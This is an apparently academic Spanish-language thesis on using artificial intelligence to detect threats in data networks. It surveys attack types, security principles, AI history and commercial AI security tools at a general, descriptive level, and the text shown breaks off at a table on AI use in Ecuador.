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1. Título 

 

Análisis de la aplicación de la inteligencia artificial para la detección de amenazas en 

redes de datos 
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2. Resumen 

 

En este trabajo de investigación se abordó el análisis del uso de la inteligencia artificial en 

la seguridad de las redes de datos desde diferentes escenarios, tanto del punto de vista defensivo, 

como ofensivo y como son aprovechadas estas herramientas en cada uno de estos ámbitos. 

De esta forma diferenciaremos el uso de estas herramientas de inteligencia artificial en dos 

equipos: el equipo azul (defensivo) y el equipo rojo (ofensivo); y de acuerdo a la naturaleza de 

las funciones de estos, que herramientas disponibles hasta el momento, podrían utilizar para 

alcanzar sus objetivos. 

Para finalizar este análisis se recrearon ciertos escenarios demostrando como se utilizan las 

herramientas defensivas y ofensivas, lo que permite observar las ventajas y desventajas que 

tenemos frente a la IA. 

Palabras Clave: Inteligencia Artificial, Ciberseguridad, Ciberataques 
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Abstract 

In this current study, the analysis of the use of artificial intelligence in data network 

security was addressed from different scenarios, from both defensive and offensive point of 

view, and how these tools are leveraged in each of these areas. 

Thus, we will differentiate the use of these artificial intelligence tools into two teams: the 

blue team (defensive) and the red team (offensive); and according to the nature of their 

functions, which tools currently are available and could use to achieve their objectives. 

To conclude this analysis, recreations of certain scenarios were carried out demonstrating 

how defensive and offensive tools are used, allowing us to observe the advantages and 

disadvantages we face regarding to AI. 

Keywords: Artificial Intelligence, Cybersecurity, Cyberattacks 
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3. Introducción 

El análisis de la aplicación de la inteligencia artificial para la detección de amenazas en 

redes de datos radica en la necesidad de mejorar la seguridad de dichas redes y proteger la 

información confidencial de los usuarios sean estos personas o instituciones; dado que 

actualmente la información se ha convertido en el punto crítico considerado por los 

ciberdelincuentes;  esta ayudaría a mejorar significativamente la detección oportuna de 

amenazas que se encuentran en constante crecimiento; por ello es fundamental encontrar 

herramientas y soluciones efectivas para detectar y prevenir ataques en las redes de datos.  

Debemos considerar además que la adopción de la IA en la seguridad de redes es una 

tendencia inevitable que ya está siendo utilizada por las empresas líderes en el mundo, 

obteniendo numerosas ventajas para la detección de amenazas en las redes de datos, entre otras: 

mayor precisión, eficiencia, adaptabilidad y reducción de costos. 
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Objetivos de la Investigación 

General 

Analizar cómo la Inteligencia Artificial (IA) puede utilizarse para potenciar la detección 

y prevención, de amenazas y ataques en las redes de datos, utilizando herramientas y 

aplicaciones existentes que permitan identificar patrones de comportamiento malicioso y tomar 

medidas preventivas para proteger la integridad y seguridad de las redes. 

Específicos 

o Analizar el estado actual de la aplicación de la inteligencia artificial en la detección 

de amenazas en redes de datos. 

o Estudiar los desafíos y limitaciones actuales en la implementación de la inteligencia 

artificial para la detección de amenazas en redes de datos. 

o Investigar que mejoras y las respectivas recomendaciones que se pueden 

implementar para el uso efectivo de la inteligencia artificial en la detección de 

amenazas en redes de datos.  
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4. Marco Teórico 

4.1. Redes de datos 

Las redes de datos, también conocidas como redes informáticas o redes de 

computadoras, se refieren a un conjunto de múltiples  dispositivos informáticos que se 

comunican entre sí con el fin de compartir recursos e información; pueden variar en tamaño y 

complejidad, desde simples configuraciones en el hogar, hasta infraestructuras que abarcan 

múltiples ubicaciones geográficas y sirven a grandes organizaciones o incluso a nivel global, 

de acuerdo a ello pueden tener diversas topologías como estrella, bus, anillo o malla  y por su 

alcance pueden ser entre otras PAN, LAN, MAN y WAN. 

Entre los dispositivos que forman parte de estas redes de datos, podemos mencionar las 

computadoras sean estas de escritorio o portátiles, servidores, ruteadores (routers), dispositivos 

móviles, así como también los diversos tipos de sensores usados en los dispositivos IoT 

(Internet De las Cosas) que actualmente tienen conexión a las mencionadas redes, utilizando 

diferentes medios de transmisión tales como cables de red o señales wifi. 

Las redes son las que facilitan la comunicación y el intercambio de información entre 

estos dispositivos, este proceso de intercambio se conoce como tráfico de red o tráfico de datos. 

Y es aquí donde debemos hacer énfasis en la seguridad que se ha convertido en el talón de 

Aquiles de la era digital, un punto vulnerable que puede ser explotado con malas intenciones. 

En un entorno donde la cantidad y la heterogeneidad de los datos que se deben manejar para 

controlar el tráfico son cada vez mayores; se estima que en el año 2023 se transfirieron 59 

exabytes de tráfico de datos a través de las plataformas globales, lo que supone un crecimiento 

interanual del 23%. (Ivanov, 2024); de acuerdo con este incremento la implementación de 

técnicas avanzadas de control de tráfico se vuelve esencial para gestionar de manera efectiva la 

complejidad de los sistemas de red y garantizar un flujo de datos eficiente y seguro.  Haciendo 

una referencia al uso del Cloud Computing en la actualidad definiría que aproximadamente el 

80% de los datos que una red empresarial genera sean más vulnerables, frente al 20% que 

pertenecería al tráfico de la red local (Cloudhesive, 2020). Esto puede implicar que unas pocas 

aplicaciones, probablemente las más críticas o populares, generen el mayor riesgo de 

vulnerabilidad.  

En resumen, el control del tráfico en las redes de datos es crucial para asegurar la 

operatividad, la eficiencia y la seguridad de las redes en un mundo cada vez más inmerso en la 

evolución tecnológica y dependiente de estas tecnologías de la información. 
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Figura 1 

Tráfico de datos al 2023

 

Fuente: (Fernández, 2021) 

4.1.1 ¿Qué es un ciberataque? 

El término ciberataque se refiere a cualquier acción, esfuerzo o intento por acceder a 

datos o aplicaciones de carácter confidencial, con el fin de alterarlas, dañarlas y hasta 

destruirlas, sea que estén en medios físicos o virtuales.  En un campo tan evolutivo como es la 

tecnología, cada día aparecen nuevas formas y variantes de amenazas, incluso creadas u 

ofertadas a medida, como es el caso de los Raas (Ramsonware as a service) .  Estos actos pueden 

ocurrir de diversas maneras y ser realizados por cualquier persona o grupos de personas, cuya 

intención es comprometer sistemas informáticos, redes, dispositivos o datos. Estos ataques 

pueden tener diversos objetivos, como robar información confidencial, interrumpir servicios, 

causar daños o extorsionar a las víctimas, incluso se habla de ciberterrorismo.  

Estas amenazas se clasifican en categorías según su método de ejecución y el objetivo 

perseguido; entre algunas de las clasificaciones tenemos: 

o Phishing: Es un método de engaño para que los usuarios revelen información 

personal o financiera, como contraseñas o datos bancarios. Se realiza a través de 

correos electrónicos, mensajes de texto o sitios web falsos que parecen provenir de 

una fuente confiable.  
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Figura 2 

Phishing (Banco del Pacífico) 

 

Fuente: Del autor 

o Malware: Se usa para definir a un software malicioso capaz de infectar un 

dispositivo y causar daños, como robo de datos, corrupción de archivos o pérdida 

de control del dispositivo, incluso extorsión. Se propaga por medio de archivos 

adjuntos infectados, descargas de sitios web no confiables (por lo general estos 

sitios, ofertan contenido gratuito que resulta ser uno de los engaños más utilizados) 

o vulnerabilidades en el software. Ejemplos o variantes de malware puede ser: Virus 

Troyanos, Ransomware, Botnets, Keyloggers, y varios más. 
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Figura 3 

Ransomware .zzzz. 

 

Fuente: Del autor 

o Ataques DDoS (Denegación de Servicio): Saturan un servidor o una red con tráfico 

falso, lo que hace que sea inaccesible para los usuarios legítimos. Se pueden realizar 

utilizando una gran cantidad de dispositivos infectados con malware o a través de 

vulnerabilidades en el software. 

Figura 4 

Estructura ataque DDoS 

 

Fuente: (Introducción a los ataques DDoS y métodos Anti-DDoS - Doc - OpenCloud, 2016) 
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o Ataques de ingeniería social: Manipulan a los usuarios utilizando diferentes 

artilugios, para que revelen su información confidencial e inducirles a realizar 

acciones que ponen en riesgo la seguridad de sus dispositivos y datos. Se pueden 

realizar a través de llamadas telefónicas, correos electrónicos, mensajes de texto o 

incluso en persona. 

Figura 5 

Ataques de Ingeniería Social (Formulario DHL) 

 

 

Fuente: Del autor 

o Inyección SQL: Este tipo de ataque aprovecha las vulnerabilidades en el software 

para “inyectar” código SQL malicioso en una base de datos. Permitiendo al atacante 

tomar control sobre los datos para robarlos, modificarlos o incluso eliminarlos. 
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Figura 6 

Injection SQL 

 

Fuente: (Gayol, 2022) 

o Ataques Man-in-the-Middle (MitM): Su traducción sería “El hombre en el medio”, 

como tal estos ataques interceptan la comunicación entre dos dispositivos y se 

interponen en el medio “escuchando” la transmisión; permitiendo al atacante leer 

los datos entre los dos dispositivos, modificarlos e incluso agregar datos falsos. 

Figura 7 

Man in the middle 

 

Fuente: (Ataques Man In The Middle - FdIwiki ELP, 2017) 

o Ataques Zero-Day: Explotan vulnerabilidades en software que aún no son conocidas 

por el fabricante. Estos ataques son especialmente peligrosos porque no hay parches 

disponibles para protegerse contra ellos. 
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Figura 8 

Zero-Day 

 

 

 

 

 

 

 

 

Fuente: Del autor / (Faster Capital, 2024) 

A nivel mundial la presencia de los diversos tipos de ciberataques ha tenido un 

incremento inusitado; a continuación, una comparativa de los ciberataques más comunes a nivel 

mundial: 

Figura 9 

Comparativo Ciberataques 

 

Fuente: (Revistabyte.es, 2024; Sophos, 2024) 
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4.2. Seguridad de la información 

La seguridad de la información es fundamental en todos los ámbitos, incluidas las 

organizaciones gubernamentales, comerciales y académicas, y abarca una amplia gama de 

áreas, como la ciberseguridad, la gestión de riesgos, la protección de la privacidad y el 

cumplimiento normativo, se refiere a un conjunto de prácticas, políticas, procedimientos y 

tecnologías diseñadas para proteger la confidencialidad, integridad y disponibilidad de la 

información. Este campo aborda la protección de datos en todas sus formas, ya sea en formato 

digital o físico, y se enfoca en mitigar los riesgos relacionados con el acceso no autorizado, la 

alteración, la destrucción o la divulgación no permitida de la información. 

Hoy por hoy existen múltiples formas en que se encuentran expuestos los datos a los 

ataques producto de vulnerabilidades que figuran en los sistemas, por lo que las opciones para 

afrontar esta situación se han perfeccionado en el transcurso de los años y de muy diferentes 

formas. En este sentido, la IA ha manifestado una probada aplicación en diversas áreas de la 

seguridad informática como su utilización en redes mediante la detección de intrusos y bloqueo 

de correos no deseados o spam, análisis forense, antivirus, etc., lo que sin duda ha permitido un 

elevado nivel de desempeño de las organizaciones en vista a la protección de la información. 

Los principios fundamentales de la seguridad de la información incluyen (RFC 2828, 

2020): 

o Confidencialidad: Garantizar que la información solo esté disponible para aquellos 

autorizados para acceder a ella y que esté protegida contra la divulgación no 

autorizada. 

o Integridad: Asegurar que la información sea precisa, completa y no haya sido 

modificada de manera no autorizada. 

o Disponibilidad: Garantizar que la información esté disponible y accesible cuando 

sea necesario para aquellos que están autorizados a utilizarla. 

o Autenticación: Verificar la identidad de los usuarios y asegurar que solo las 

personas autorizadas tengan acceso a los recursos y datos. 

o Autorización: Determinar los niveles de acceso adecuados para los usuarios 

autorizados y restringir el acceso a información confidencial según sea necesario. 
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o Auditoría y monitoreo: Registrar y supervisar las actividades relacionadas con la 

información para detectar y responder a posibles amenazas o incidentes de 

seguridad. 

Dentro de la trama de la detección de amenazas en las redes de datos, la seguridad de la 

información juega un papel crucial al proporcionar la herramienta discriminatoria necesaria 

para identificar, evaluar y mitigar los riesgos de seguridad, y como la aplicación de la 

inteligencia artificial puede reforzar estas medidas al permitir la toma de decisiones y acciones 

de forma más rápida y precisa ante posibles amenazas y ataques cibernéticos. 

4.3. Inteligencia Artificial 

4.3.1. ¿Qué es la Inteligencia Artificial (IA)? 

En 2019 la Comisión Mundial de Ética del Conocimiento Científico y la Tecnología 

(COMEST) de la UNESCO definió la inteligencia artificial como un campo que implica 

máquinas capaces de imitar determinadas funcionalidades de la inteligencia humana, incluidas 

características como la percepción, el aprendizaje, el razonamiento, la resolución de problemas, 

la interacción lingüística e incluso la producción de trabajos creativos (UNESCO, 2021). La 

inteligencia artificial implica el uso de algoritmos que son utilizados en sistemas informáticos, 

pretendiendo así imitar la función cognitiva humana; analizando y almacenando grandes 

volúmenes de datos, que le permitirán cumplir tareas cotidianes; debido a esto podemos 

encontrarla en asistentes virtuales, motores de búsqueda, vehículos autónomos entre algunos. 

De forma más sencilla podemos mencionar que se trata de una herramienta creada para aprender 

y razonar, ejecutando acciones para resolver problemas.   

La IA es capaz de almacenar, comparar y analizar la información sobre determinada 

área para convertirla en conocimiento e implementarla en las actividades humanas. 

4.3.2. Tipos de IA que existen 

La IA agrupa una amplia variedad de herramientas de software desde sistemas de 

reconocimiento facial y de voz, asistentes virtuales, hasta sistemas integrados como drones, 

vehículos autónomos, robots. Dentro de todo este conjunto de herramientas, cabe la pregunta, 

¿Cuáles son los tipos de inteligencia artificial?, veamos a continuación algunas de ellas: 

o Máquinas reactivas: este sencillo modelo busca reproducir el comportamiento 

humano ejecutando acciones frente a estímulos. Su rol es de respuesta, no de 

aprendizaje.   
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o Memoria limitada: de igual forma son máquinas reactivas, con la diferencia de 

poseer cierto nivel de memoria, consiguiendo incurrir en el aprendizaje de datos, 

evaluarlos y tomar ciertas decisiones. Por ejemplo, este tipo de IA se aplica a 

sistemas de reconocimiento facial y chatbots.  

o Teoría de la mente: es uno de los modelos más revolucionarios de IA, procura 

comprender de forma más precisa las emociones, necesidades y abstracciones del 

pensamiento humano. 

o Autoconciencia: es una aspiración de los creadores de herramientas basadas en IA; 

este sería el nivel más alto en el que podría desarrollarse la IA, aún no se tiene 

conocimiento concreto sobre la existencia de este tipo de modelos. La 

autoconciencia propone que las máquinas, no solamente reconozcan las emociones 

y comportamiento humanos, sino que sean capaces de expresar los suyos propios. 

4.4. Historia de la Inteligencia Artificial   

El interés por reproducir las características humanas a través de artilugios creados por 

el hombre tiene larga data y se inicia con la historia de la humanidad misma; la necesidad de 

transferir el trabajo hacia máquinas que lo realicen de forma automática, sin errores y que 

maximicen el uso de energía, amplificándola, redirigiéndola, reproduciéndola; ha sido 

satisfecha a lo largo del tiempo con el desarrollo de máquinas tan simples como el arado, hasta 

bastante complejas como la computadora (Barrera, 2012). 

Pero, desde la aparición de la computación electrónica se han producido 

acontecimientos importantes e hitos en la evolución de la inteligencia artificial (Oracle, 2023)  

( Dpl News, 2023): 

o 1950: Alan Turing publica Computing Machinery and Intelligence. En el artículo, 

Turing, famoso por haber descifrado el código ENIGMA de los nazis durante la 

Segunda Guerra Mundial, propone responder a la pregunta "¿pueden pensar las 

máquinas?". e introduce la Prueba de Turing para determinar si una computadora 

puede demostrar la misma inteligencia (o los resultados de la misma inteligencia) 

que un humano. El valor de la prueba de Turing ha sido objeto de debate desde 

entonces. 

o 1956: John McCarthy acuña el término "inteligencia artificial" en la primera 

conferencia de IA en el Dartmouth College, considerado el punto de partida oficial 
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de esta. (Posteriormente, McCarthy inventaría el lenguaje Lisp). Ese mismo año, 

Allen Newell, JC Shaw y Herbert Simon crearon Logic Theorist, el primer 

programa de software de inteligencia artificial que funcionó. 

o En 1965, se creó ELIZA, un programa interactivo que podía mantener un diálogo 

simulado sobre cualquier tema. 

o 1967: Frank Rosenblatt crea el Mark 1 Perceptron, la primera computadora basada 

en una red neuronal que "aprendió" mediante prueba y error. Apenas un año 

después, Marvin Minsky y Seymour Papert publican un libro titulado Perceptrons, 

que se convierte en el trabajo de referencia en redes neuronales y, al menos por un 

tiempo, en un argumento contra futuros proyectos de investigación de redes 

neuronales. 

o 1980: Las redes neuronales que utilizan un algoritmo de retro propagación para 

entrenarse a sí mismas se utilizan ampliamente en aplicaciones de IA. 

o 1997: El sistema Deep Blue de IBM vence al campeón mundial de ajedrez Garry 

Kasparov, en una partida de ajedrez. 

o En 2005, Honda presentó a ASIMO, un robot humanoide artificialmente inteligente. 

o 2011: IBM Watson vence a los campeones Ken Jennings y Brad Rutter en Jeopardy! 

o 2014: El bot conversacional ruso Eugene Goostman supera el “Test de Turing” 

o 2015: La supercomputadora Minwa de Baidu usa un tipo especial de red neuronal 

profunda, llamada red neuronal convolucional, para identificar y categorizar 

imágenes con una mayor precisión que el promedio humano. 

o 2016: El programa AlphaGo de DeepMind, impulsado por una red neuronal 

profunda, vence a Lee Sodol, el campeón mundial de Go, en un partido de cinco 

juegos. La victoria es significativa dado el gran número de movimientos posibles a 

medida que el juego progresa (más de 14,5 billones después de solamente cuatro 

movimientos). Más tarde, Google compró DeepMind por USD 400 millones. 

o 2017: Sophia se convierte en la primer robot reconocida como ciudadana de Arabia 

Saudita 
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o 2018: En Phoenix, Arizona la empresa Wymo inicia el primer servicio de taxis 

autónomos. El robot Atlas de la empresa Boston Dynamics, aprende a hacer 

parkour. 

o 2020: Se lanza GPT-3, de Open AI, una de las mayores redes neuronales artificiales, 

capaz de generar texto coherente y convincente. 

o 2021: Open AI presenta DALL -E, un programa de IA que genera imágenes a partir 

de texto. 

o 2022: Llega ChatGPT, un servicio de chatbot desarrollado por Open AI, que 

impulsa la popularidad de la IA Generativa. 

o 2023: Open AI lanza GPT-4 versión más potente que su predecesor, Micrsoft 

integra ChatGPT en su buscador Bing, Google incluye Bard en su buscador 

Chrome, Google lanza Gemini un modelo de Inteligencia Artificial multimodal, lo 

que significa que puede generar y comprender, operar y combinar a la perfección 

diferentes tipos de información, incluyendo texto, imágenes, audios, videos y 

lenguajes de programación. 

4.5. La Inteligencia Artificial en las redes de datos: ¿villano o héroe? 

La inteligencia artificial (IA) posee una amplia posibilidad para ayudar a mejorar las 

redes de datos. Podría emplearse en la automatización de tareas, optimizar el rendimiento y 

fortalecer la seguridad. Sin embargo, también debe considerarse la existencia de riesgos 

asociados con el uso de la IA en las redes de datos. 

4.5.1. Potencial de la IA como héroe en las redes de datos: 

Automatización: Ayudaría en la automatización de tareas repetitivas y tediosas, como 

configuración de redes, la detección, resolución de problemas y la gestión de actualizaciones. 

Esto liberaría al personal a cargo de redes para enfocarse en tareas más relevantes. 

Optimización del rendimiento: Puede analizar datos en la red para detectar deficiencias 

y áreas en las que se puedan implementar mejoras, para así optimizar su rendimiento. 

Mejora de la seguridad: Puede usarse en la prevención y detección de ciberataques, 

ayudando a la contención oportuna y eficaz de los diversos tipos de amenazas. 
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4.5.2. Riesgos de la IA como villano en las redes de datos: 

Sesgo: Los algoritmos de IA pueden estar sesgados, lo que puede llevar a la 

discriminación y la exclusión. 

Falta de transparencia: Los algoritmos de IA pueden no ser tan claros, lo que dificulta 

comprender cómo funcionan y tomar decisiones acertadas sobre su uso. 

Vulnerabilidad a ataques: Los sistemas de IA pueden ser vulnerables a ataques, lo que 

podría permitir a los atacantes tomar el control de las redes, manipular información e incluso 

robar datos confidenciales. 

La IA tiene el potencial de ser un héroe en las redes de datos, pero también existen 

riesgos asociados con su uso, es primordial ser consciente de estos y tomar medidas para 

mitigarlos. 

He aquí algunas consideraciones al usar IA en redes de datos: 

¿ Cómo se pueden evitar los sesgos o defectos de diseño en los algoritmos de IA? 

¿ Cómo se puede garantizar la transparencia y comprensión de los algoritmos de IA? 

¿ Cómo se pueden proteger las herramientas de IA ante los ataques? 

Analizando estas consideraciones, podríamos fortalecer el uso de la IA de manera 

responsable y ética en las redes de datos. 

4.6.La IA en la seguridad de redes de datos 

No cabe duda de que la IA puede resultar una pieza fundamental en cualquier estrategia 

de seguridad de redes corporativas; no obstante, aún existen numerosos desafíos que deben 

tomarse en cuenta antes de que esta tecnología pueda adoptarse por completo. 

Aquí, la importancia de recordar la convergencia entre conocimientos, experiencias y 

juicios humanos con las rápidas capacidades de análisis y respuesta de la IA. Aprovechando los 

puntos fuertes de ambos, las organizaciones pueden crear medidas de seguridad eficaces 

capaces de responder a las amenazas en tiempo real (Hernández, 2023).  

Esta simbiosis entre máquinas y humanos podría ser la mejor manera de protegerse 

contra los ciberataques, las fugas de datos y otras actividades maliciosas, permitiéndonos así 

descubrir y aislar los problemas rápidamente al correlacionar las anomalías con datos históricos 

y en tiempo real. Al hacerlo, los equipos de TI pueden escalar aún más y cambiar su enfoque 

hacia tareas más estratégicas y de alto valor, alejándose de la minería de datos que requiere de 
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muchos recursos que se necesitan para identificar y resolver los problemas más difíciles de 

resolver que plagan las redes. 

Ante la gran cantidad de usuarios realizando trabajo desde casa y de redes emergentes 

en uso hoy en día, un entorno consciente de las amenazas es más importante que nunca. La 

capacidad de identificar y reaccionar rápidamente con dispositivos comprometidos, localizarlos   

físicamente, y optimizar la experiencia de usuario son algunos de los beneficios de usar la IA 

en la ciberseguridad.  

Las empresas necesitan proteger sus redes, incluidos los dispositivos que no controlan 

directamente, pero que deben permitir conectarse de forma externa.  

La generación de perfiles de riesgo permite que el área de TI pueda defender su 

infraestructura al proporcionar una visión más detallada y permitir la implementación de 

políticas en cada punto de conexión a través de la red. Las herramientas de seguridad 

monitorean las aplicaciones y conexiones de usuarios en un entorno, pero también el contexto 

de ese comportamiento, y si su uso es aceptable o potencialmente anómalo, e identifican 

rápidamente cualquier actividad maliciosa. 

4.6.1. Aplicación de la IA en la seguridad de redes de datos 

El uso de la inteligencia artificial (IA) se considera cada vez más en la seguridad de 

redes de datos en la detección de patrones, comportamientos anómalos y amenazas cibernéticas. 

Algunos ejemplos de su aplicación incluyen: 

o Detección de intrusiones: Estos sistemas son capaces de monitorear el tráfico de 

red y analizar patrones para identificar posibles intrusiones o actividades 

maliciosas. 

o Análisis de comportamiento: La IA puede aprender del comportamiento rutinario 

que se consideraría normal en los usuarios y dispositivos de la red,  permitiendo 

detectar desviaciones significativas que podrían indicar actividades sospechosas. 

o Predicción de amenazas: A través del análisis de grandes cantidades de datos la IA 

puede prever posibles amenazas emergentes y vulnerabilidades de la red. 

o Automatización de respuestas: Los modelos de IA pueden inferir decisiones en 

tiempo real para mitigar amenazas, es así que puede bloquear ciertos tipos de tráfico 

o aislar los dispositivos comprometidos. 

Ejemplos de casos de éxito: 
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o Google Cloud Armor utiliza IA para detectar y bloquear automáticamente ataques 

DDoS en tiempo real. 

Figura 10 

Límite de tasa por cliente de Cloud Armor 

 

Fuente: (Nitin, 2022) 

IBM Security QRadar utiliza IA para identificar y responder a amenazas en tiempo real, 

incluyendo malware, phishing y ataques a la red.  

Figura 11 

IBM Security QRadar 

 

Fuente: (Information Security Professionally, 2024) 
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o Microsoft Copilot para seguridad: es una plataforma de IA generativa con 

asignación de recursos, almacenamiento en capas, servicios de directivas, servicios 

de integración, entre otras. 

Figura 12 

Microsoft Copilot for Security 

 

Fuente  (A Comprehensive Guide to Microsoft Security Copilot, 2023) 

Estos ejemplos muestran cómo la IA está siendo utilizada para fortalecer la seguridad 

de las redes de datos y protegerlas contra las cada vez más complejas amenazas cibernéticas. 

4.7. ¿Quiénes son los responsables de la seguridad de los datos ante las 

amenazas? 

En un medio de crecimiento tan acelerado como el de los sistemas informáticos, 

podremos mencionar que la responsabilidad de la seguridad de los datos recae en varios actores 

clave: 

o Usuarios 

o Organizaciones 

o Proveedores de servicios 

o Gobiernos 

La colaboración y la conciencia de seguridad son esenciales para proteger la 

información en un mundo digital en constante cambio. El mayor aporte en esta lucha por 

proteger los datos lo realizan las organizaciones que realizan considerables inversiones y 
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cuentan con equipos de profesionales especializados en seguridad; los que se clasifican en 

grupos comúnmente conocidos como: Red Team y Blue Team. 

4.7.1. ¿Qué son los equipos: Red Team (Equipo rojo) y Blue Team (Equipo 

azul)? 

A pesar del esfuerzo que realizan muchas organizaciones, por preservar la integridad de 

su información, y protegerse de las amenazas que surgen diariamente, no es fácil y es que estas 

medidas no son lo suficientemente robustas.  

La ineficiencia de los mecanismos utilizados para defender la información y la 

infraestructura tecnológica, se debe al constante cambio de los mecanismos y de las 

herramientas utilizadas por los delincuentes, que evolucionan constantemente y descubren 

nuevas maneras de vulnerar los sistemas, de ahí la importancia de contar con equipos 

especializados en la protección y prevención de los ataques cibernéticos, el apoyo a estas 

actividades de seguridad en las organizaciones se hace mediante los equipos Blue Team los 

cuales nos permiten tener una defensa activa y constante de toda la red. Por otro lado se 

implementan equipos Red Team los cuales junto al anterior equipo nombrado permiten la 

comprobación del nivel de seguridad actual del sistema, mediante el uso de herramientas 

similares a las utilizadas por los delincuentes informáticos, y finalmente esta manera tener una 

protección integral activa y constante y esta manera lograr mantener nuestro sistema seguro 

(Valbuena, 2021). 

A breves rasgos comparemos cuales son las funciones y responsabilidades de estos dos 

equipos: 

o Equipo Azul (Blue Team): 

 Función: Defensa interna de la organización, su objetivo principal es 

proteger los sistemas de información y las redes contra intrusiones y 

ciberataques. 

 Responsabilidades:  

1. Monitoreo y análisis, para detectar actividades sospechosas. 

2. Mantener e implementar medidas de seguridad, como sistemas de 

detección de intrusiones (IDS) y firewalls. 

3. Responder de forma oportuna a incidentes de seguridad, 

conteniendo y mitigando el impacto de los ciberataques. 
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4. Realizar pruebas de penetración internas para identificar 

vulnerabilidades en los sistemas informáticos. 

5. Educar y concienciar a los empleados sobre las prácticas de 

seguridad cibernética en las tareas cotidianas. 

o Equipo Rojo (Red Team): 

 Función: Simular ataques externos, en busca de vulnerabilidades en los 

sistemas y redes de las organizaciones; su mayor objetivo es exponer 

debilidades en las seguridades para que puedan ser remediadas antes de que 

sean explotadas por atacantes reales cuyos fines sean maliciosos. 

 Responsabilidades: 

6. Planificar y ejecutar ataques simulados contra la organización, 

utilizando métodos y técnicas de hackers reales. 

7. Identificar vulnerabilidades en sistemas, redes, aplicaciones y 

procesos de la organización. 

8. Explotar las vulnerabilidades encontradas para obtener acceso a 

sistemas y datos confidenciales. 

9. Documentar sus hallazgos y proporcionar recomendaciones para 

mejorar la postura de seguridad de la organización.  
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5. Metodología 

Para el presente análisis se aplicará  una metodología mixta utilizando análisis 

cuantitativos y cualitativos ya que vamos escrutar el impacto que tiene la inteligencia artificial 

sobre las prácticas de ciberseguridad, esto nos permitirá tener un enfoque más amplio sobre el 

tema de investigación, en el que existen normativas establecidas; y que también posee un 

enfoque subjetivo, que dependiendo de los criterios  variados puede llevarnos a una conclusión 

diferente; podrán tenerse a la mano datos estadísticos, así como casos de estudio.  

5.1. Herramientas de IA utilizadas en la seguridad de redes de datos. 

La seguridad en las redes de datos es indispensable, pero se ha convertido en un trabajo 

maratónico mantener la integridad de los datos; es por ello que con la aparición de la IA se ha 

afianzado dando inicio a una nueva etapa en la seguridad digital. 

Con el uso de este tipo de herramientas apoyadas en la IA, se procura identificar 

amenazas de forma precisa y anticiparse a posibles ataques, también se busca que tengan la 

capacidad de aprender y adaptarse a nuevas estrategias contra futuras amenazas. 

A continuación, examinaremos algunas herramientas impulsadas por IA que están 

transformando la seguridad de los datos. Desde la anticipación de amenazas hasta la toma de 

decisiones automáticas, estas soluciones están esculpiendo un camino hacia un futuro más 

seguro y resistente frente a las crecientes amenazas digitales (Montero, 2023). 

Tabla 1 

Herramientas IA 

Herramienta Descripción Plataforma 

Precio 

(Anual) 

Intego 

Análisis conductuales impulsados por el 

aprendizaje automático, identificación de 

amenazas complejas de detectar con base 

en su amplio repertorio de muestras de 

malware 

Mac  

Windows 
$ 43 - $ 97 

Darktrace 

Introdujo el innovador “Ciclo de IA 

Cibernética”. Rapidez para identificar 

anomalías en el tráfico de la red o las 

acciones de los usuarios. 

Mac 

Windows 

Linux 

$ 28 - $ 92 
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Vectra IA 

Impulsada por la inteligencia artificial 

examina los datos de la red en busca de 

actividades sospechosas, se adapta 

constantemente mejorando su detección de 

amenazas a medida que enfrenta diversos 

ciberataques. 

Mac 

Windows 

Linux 
$ 5 - $ 5400 

Norton Genie 

Scam Detector 

Utilizando el aprendizaje automático, 

identificará rápidamente patrones de 

estafa. También emplea el procesamiento 

del lenguaje natural para capturar la 

esencia de los mensajes de estafa 

Android 

Web 

Browser 
Gratuita 

CrowdStrike 

Utiliza el aprendizaje automático para 

identificar comportamientos inusuales. 

Además, emplea el procesamiento de 

lenguaje natural para filtrar la inteligencia 

de amenazas, asegurando que siempre esté 

un paso adelante. 

Mac 

Windows 

Linux 

$ 330 - $ 

540 

Noir 

Un detector de superficie de ataque, es 

multilenguaje y hace uso de varios 

frameworks, localiza el API de Endpoints 

y páginas web mediante análisis de código. 

Arroja son de datos estructurados como 

JSON y HAR permitiendo una interacción 

con otras herramientas. 

Mac 

Linux 

Open 

Source 

Microsoft 

Intune en 

Copilot para 

seguridad 

Facilita la administración de puntos de 

conexión basada en la nube. Gestiona el 

acceso a los recursos de la organización y 

simplifica la administración de 

aplicaciones y varios dispositivos; 

incluidos dispositivos móviles, equipos de 

escritorio y puntos de conexión virtuales. 

Android 

Mac 

Linux 

Windows 

$ 25 - > 
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Holehe OSINT 

App de ciber inteligencia, comprueba si un 

correo electrónico es verdadero, y todo lo 

vinculado con él, soporta más de 120 

plataformas, entre otras X (ex Twitter), 

Instagram, Amazon. De los sitios que tiene 

registrados hay un límite de consultas, por 

lo que sugiere el desarrollador cambiar de 

red o conectarse a una VPN. 

Online 

Open 

Source 

Fuente: (González Cuautle, David, 2023)  

Como podemos observar en la tabla # 1, existen múltiples herramientas de IA a 

disponibilidad tanto de forma gratuita (open source) como: Holehe OSINT, Noir, Norton Genie 

Scam Detector y otras de paga, la elección de una u otra dependerá de las capacidades de uso e 

implementación,  necesidades que tengan las posibles víctimas por anticiparse a los ataques, 

posibilidades económicas y de infraestructura y objetivos de los usuarios. Podemos realizar 

análisis conductuales, detectar actividades sospechosas en el tráfico de redes de datos, analizar 

sitios web o incluso correos electrónicos y su contenido. Cabe destacar que cada día aparecen 

nuevos modelos de IA y que algunos de estos permiten generar modelos basados en su propia 

estructura. 

5.2. Situación Actual de la IA en la seguridad de redes de datos (Ciberseguridad) 

La inteligencia artificial y la ciberseguridad son dos conceptos estrechamente ligados. 

La primera apoya y mejora a la segunda en múltiples aspectos. También existe como una 

herramienta para la creación de nuevas formas de seguridad cibernética; sin embargo, la misma 

puede ser utilizada para innovar y mejorar ataques cibernéticos realizados por cibercriminales. 

Estas innovaciones en el mundo de la ciberseguridad son más necesarias cada día, ya 

que el mundo busca estar conectado cada vez a más dispositivos que mejoran el día a día. De 

la mano con este crecimiento, también se incrementa la participación de cibercriminales que 

buscan cometer delitos informáticos a diario con múltiples fines como extorsión, exposición de 

datos, entre otros (Daly-Aurenty, 2021). 

A continuación, en la siguiente tabla se sintetizan el panorama de la IA En el Ecuador. 

En este sentido, hay esencialmente 5 sectores en los cuales está impactando la inteligencia 

artificial (Solis-Mora & Gruezo- Valencia, 2022). 
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Tabla 2 

Áreas de uso IA en Ecuador 

Áreas Aplicación de la IA 
  

Atención 

medica 

La IA. ofrece puntos de recopilación de datos que se procesan rápidamente, 

los cuales incluyen historial de salud, síntomas y/o tratamientos, niveles de 

actividad, datos genómicos (ADN) y eficacia de los medicamentos entre otros 

